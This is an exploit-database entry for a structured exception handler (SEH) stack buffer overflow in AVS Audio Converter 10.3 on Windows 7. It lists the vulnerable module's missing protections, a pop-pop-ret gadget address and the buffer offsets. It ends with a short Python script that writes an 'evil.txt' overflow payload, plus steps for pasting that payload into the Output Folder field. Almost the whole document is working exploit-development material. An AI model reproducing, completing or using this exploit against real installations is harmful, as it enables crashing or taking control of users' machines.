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AVS Audio Converter 10.3 - Stack Overflow (SEH) Exploit
# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH) # Discovered by: Yehia Elghaly - Mrvar0x # Tested Version: 10.3.1.633 # Tested on OS: Windows 7 Professional x86 #pop+ret Address=005154E6 #Message= 0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] #ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe) # The only module that has SafeSEH disabled. # Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | # 0x00400000 | 0x01003000 | False | False | False | False | False | #Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes. #Buffer = '\x41'* 260 #nSEH = '\x42'*4 #SEH = '\x43'*4 #ESI = 'D*44' # ESI Overwrite #buffer = "A"*260 + [nSEH] + [SEH] + "D"*44 #buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44 # Rexploit: # Generate the 'evil.txt' payload using python 2.7.x on Linux. # Open the file 'evil.txt' Copy. # Paste at'Output Folder and click 'Browse'. #!/usr/bin/python -w filename="evil.txt" buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44 textfile = open(filename , 'w') textfile.write(buffer) textfile.close() # 0day.today [2024-07-07] #